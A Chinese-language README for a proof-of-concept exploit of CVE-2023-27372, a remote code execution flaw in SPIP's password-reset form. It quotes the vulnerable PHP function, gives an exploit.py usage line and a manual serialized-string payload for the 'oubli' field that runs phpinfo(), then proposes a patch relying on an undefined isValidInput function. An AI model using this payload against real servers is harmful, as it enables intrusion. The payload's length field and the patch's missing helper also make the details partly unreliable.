这个PoC是快速编写的,并没有什么特别之处。
它利用了新的CVE-2023-27372 SPIP RCE漏洞。
这是一个反序列化漏洞,利用了密码重置功能(spip.php?page=spip_pass)中危险使用#ENV标签的问题,具体位于"/ecrire/balise/formulaire_.php"文件中,尤其是以下这行:
- 用法:python3 exploit.py -u http(s)://url.com
function protege_champ($texte){
if (is_array($texte))
$texte = array_map('protege_champ',$texte);
else {
// ne pas corrompre une valeur serialize
if (preg_match(",^[abis]:\d+[:;],", $texte) AND unserialize($texte)!=false)
return $texte;
$texte = entites_html($texte);
$texte = str_replace("'","'",$texte);
}
return $texte;
}
protege_champ函数存在多个缺陷。用于验证输入的正则表达式(RE)检查存在缺陷,可被轻易绕过。代码在未进行适当验证的情况下调用了unserialize函数,从而允许执行任意代码。手动利用极其简单。例如,如果我们想执行phpinfo();,可以这样做:
oubli=s:19:"<?phpinfo(); ?>";
如果服务器返回了预期的输出,则说明存在漏洞。如何修补?其实相当简单。下面是我写的一个基础补丁:
function protege_champ($texte) {
if (is_array($texte)) {
$texte = array_map('protege_champ', $texte);
} else {
if (!isValidInput($texte)) {
$texte = 'Malicious input detected';
} else {
$texte = entites_html($texte);
$texte = str_replace("'", "'", $texte);
}
}
return $texte;
}
修补后的protege_champ函数包含了输入验证、清理以及对恶意输入的处理。
请不要将其用于恶意目的。谢谢。
<a href=https://twitter.com/0SPwn>Twitter